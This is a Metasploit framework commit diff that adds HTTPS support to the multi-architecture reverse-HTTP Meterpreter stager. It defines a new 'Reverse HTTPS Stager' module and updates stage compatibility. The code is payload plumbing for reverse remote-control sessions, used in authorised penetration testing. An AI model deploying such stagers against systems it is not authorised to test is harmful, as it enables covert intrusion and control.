Make multi work with https

This commit is contained in:
OJ
2016-11-29 15:51:38 +10:00
parent bd8f8fd6cb
commit bdfaaf01b2
3 changed files with 37 additions and 6 deletions
+3 -4
View File
@@ -18,11 +18,10 @@ module Payload::Multi::ReverseHttps
include Msf::Payload::Multi::ReverseHttp
#
# Generate the first stage
# Generate the transport-specific configuration
#
def generate(opts={})
opts[:ssl] = true
super(opts)
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
@@ -0,0 +1,31 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/multi/reverse_https'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::Multi
include Msf::Payload::Multi::ReverseHttps
def initialize(info={})
super(merge_info(info,
'Name' => 'Reverse HTTPS Stager (Mulitple Architectures)',
'Description' => 'Tunnel communication over HTTPS',
'Author' => 'OJ Reeves',
'License' => MSF_LICENSE,
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ''},
'Convention' => 'https'
))
end
end
+3 -2
View File
@@ -23,11 +23,12 @@ module MetasploitModule
'Name' => 'Architecture-Independent Meterpreter Stage',
'Description' => 'Handle Meterpreter sessions regardless of the target arch/platform',
'Author' => ['OJ Reeves'],
'PayloadCompat' => {'Convention' => 'http'},
'PayloadCompat' => {'Convention' => 'http https'},
'License' => MSF_LICENSE,
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Session' => Msf::Sessions::Meterpreter_Multi))
'Session' => Msf::Sessions::Meterpreter_Multi
))
end
def stage_payload(opts={})